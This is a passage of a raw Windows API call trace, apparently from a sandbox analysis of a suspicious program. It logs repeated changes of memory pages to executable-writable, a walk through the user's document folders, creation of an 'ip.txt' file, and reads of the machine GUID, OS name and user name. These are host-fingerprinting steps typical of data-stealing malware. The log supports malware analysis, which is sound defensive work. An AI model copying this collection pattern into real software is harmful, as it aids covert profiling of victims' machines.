(in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.054] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.054] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.055] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.055] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.055] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.056] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.056] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.056] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.056] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.056] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.056] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.056] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.056] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.057] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", cchWideChar=46, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_privateMy Notebook4HGEn56P\x04", lpUsedDefaultChar=0x0) returned 46 [0166.057] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.057] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.058] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.058] SysReAllocStringLen (in: pbstr=0x1fd75760*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1fd75760*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.058] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xb1586390, ftCreationTime.dwHighDateTime=0x1d30618, ftLastAccessTime.dwLowDateTime=0xb1586390, ftLastAccessTime.dwHighDateTime=0x1d30618, ftLastWriteTime.dwLowDateTime=0xb1586390, ftLastWriteTime.dwHighDateTime=0x1d30618, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0166.058] FindClose (in: hFindFile=0x1e258c88 | out: hFindFile=0x1e258c88) returned 1 [0166.058] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.058] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.059] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.059] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.059] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.059] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.059] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.059] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\*", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\*", len=0x30 | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\*") returned 1 [0166.059] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\*", len=0x30 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\*") returned 1 [0166.059] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\*", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\*", len=0x30 | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\*") returned 1 [0166.059] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\*", len=0x30 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\*") returned 1 [0166.060] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\*", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\*", len=0x30 | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\*") returned 1 [0166.060] SysReAllocStringLen (in: pbstr=0x1e7df96c*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\*", len=0x30 | out: pbstr=0x1e7df96c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\*") returned 1 [0166.060] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\*", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\*", len=0x30 | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\*") returned 1 [0166.060] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xb1586390, ftCreationTime.dwHighDateTime=0x1d30618, ftLastAccessTime.dwLowDateTime=0xb1586390, ftLastAccessTime.dwHighDateTime=0x1d30618, ftLastWriteTime.dwLowDateTime=0xb1586390, ftLastWriteTime.dwHighDateTime=0x1d30618, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1e258c88 [0166.060] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\.", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\.") returned 1 [0166.060] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\.", len=0x30 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\.") returned 1 [0166.060] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\.", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\.", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\.") returned 1 [0166.060] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\.", len=0x30 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\.") returned 1 [0166.060] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\.", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\.", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\.") returned 1 [0166.060] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\.", len=0x30 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\.") returned 1 [0166.061] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\.", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\.", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\.") returned 1 [0166.061] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xb1586390, ftCreationTime.dwHighDateTime=0x1d30618, ftLastAccessTime.dwLowDateTime=0xb1586390, ftLastAccessTime.dwHighDateTime=0x1d30618, ftLastWriteTime.dwLowDateTime=0xb1586390, ftLastWriteTime.dwHighDateTime=0x1d30618, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0166.061] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\.", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\..", len=0x31 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\..") returned 1 [0166.061] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\..", len=0x31 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\..") returned 1 [0166.061] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\..", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\..", len=0x31 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\..") returned 1 [0166.061] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\..", len=0x31 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\..") returned 1 [0166.061] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\..", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\..", len=0x31 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\..") returned 1 [0166.061] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\..", len=0x31 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\..") returned 1 [0166.062] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\..", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\..", len=0x31 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\..") returned 1 [0166.062] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0xb1586390, ftCreationTime.dwHighDateTime=0x1d30618, ftLastAccessTime.dwLowDateTime=0xb1586390, ftLastAccessTime.dwHighDateTime=0x1d30618, ftLastWriteTime.dwLowDateTime=0xb1586390, ftLastWriteTime.dwHighDateTime=0x1d30618, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0166.062] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\..", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\folder.ico", len=0x39 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\folder.ico") returned 1 [0166.062] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\folder.ico", len=0x39 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\folder.ico") returned 1 [0166.062] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\folder.ico", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\folder.ico", len=0x39 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\folder.ico") returned 1 [0166.062] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\folder.ico", len=0x39 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\folder.ico") returned 1 [0166.062] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\folder.ico", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\folder.ico", len=0x39 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\folder.ico") returned 1 [0166.062] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\folder.ico", len=0x39 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\folder.ico") returned 1 [0166.062] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\folder.ico", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\folder.ico", len=0x39 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\folder.ico") returned 1 [0166.063] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="folder.ico", cchWideChar=10, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="folder.icoETAdzjz\\Documents\\My Shapes\\_privateMy Notebook4HGEn56P\x04", lpUsedDefaultChar=0x0) returned 10 [0166.063] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.063] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="folder.ico", cchWideChar=10, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="folder.icoETAdzjz\\Documents\\My Shapes\\_privateMy Notebook4HGEn56P\x04", lpUsedDefaultChar=0x0) returned 10 [0166.063] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="folder.ico", cchWideChar=10, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="folder.icoETAdzjz\\Documents\\My Shapes\\_privateMy Notebook4HGEn56P\x04", lpUsedDefaultChar=0x0) returned 10 [0166.063] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0xb1586390, ftCreationTime.dwHighDateTime=0x1d30618, ftLastAccessTime.dwLowDateTime=0xb1586390, ftLastAccessTime.dwHighDateTime=0x1d30618, ftLastWriteTime.dwLowDateTime=0xb1586390, ftLastWriteTime.dwHighDateTime=0x1d30618, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 0 [0166.063] FindClose (in: hFindFile=0x1e258c88 | out: hFindFile=0x1e258c88) returned 1 [0166.064] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.064] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.065] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.065] CharToOemBuffA (in: lpszSrc="ip.txt", lpszDst=0x1f026738, cchDstLength=0x6 | out: lpszDst="ip.txt") returned 1 [0166.065] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x1fd754e4, Length=0xf) returned 0x50dae31c [0166.065] VirtualAlloc (lpAddress=0x1fd14000, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd14000 [0166.067] VirtualFree (lpAddress=0x1fd54000, dwSize=0x20000, dwFreeType=0x4000) returned 1 [0166.068] VirtualFree (lpAddress=0x1fd74000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0166.069] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x417000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x417000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.069] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x1e7dfbb8 | out: phkResult=0x1e7dfbb8*=0x310) returned 0x0 [0166.069] RegQueryValueExW (in: hKey=0x310, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x1e7dfbc0, lpData=0x1e7df9b8, lpcbData=0x1e7dfbbc*=0xfe | out: lpType=0x1e7dfbc0*=0x1, lpData="500c0908-381e-49dc-a6a0-1a800e9a56e0", lpcbData=0x1e7dfbbc*=0x4a) returned 0x0 [0166.070] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="500c0908-381e-49dc-a6a0-1a800e9a56e0", cchWideChar=36, lpMultiByteStr=0x1e7debe4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="500c0908-381e-49dc-a6a0-1a800e9a56e0¤îõà\x1cì}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 36 [0166.070] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7dfbcc | out: phkResult=0x1e7dfbcc*=0x66c) returned 0x0 [0166.070] RegQueryValueExW (in: hKey=0x66c, lpValueName="ProductName", lpReserved=0x0, lpType=0x1e7dfbd4, lpData=0x1e7df9cc, lpcbData=0x1e7dfbd0*=0xfe | out: lpType=0x1e7dfbd4*=0x1, lpData="Windows 7 Professional", lpcbData=0x1e7dfbd0*=0x2e) returned 0x0 [0166.070] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.070] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Windows 7 Professional", cchWideChar=22, lpMultiByteStr=0x1e7debe4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows 7 Professional0-1a800e9a56e0¤îõà\x1cì}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 22 [0166.070] GetUserNameW (in: lpBuffer=0x1e7df9f0, pcbBuffer=0x1e7df9ec | out: lpBuffer="aETAdzjz", pcbBuffer=0x1e7df9ec) returned 1 [0166.073] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.073] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.074] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.074] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.075] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.075] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="aETAdzjz", cchWideChar=8, lpMultiByteStr=0x1e7debe4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aETAdzjz7 Professional0-1a800e9a56e0¤îõà\x1cì}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 8 [0166.075] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.075] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, 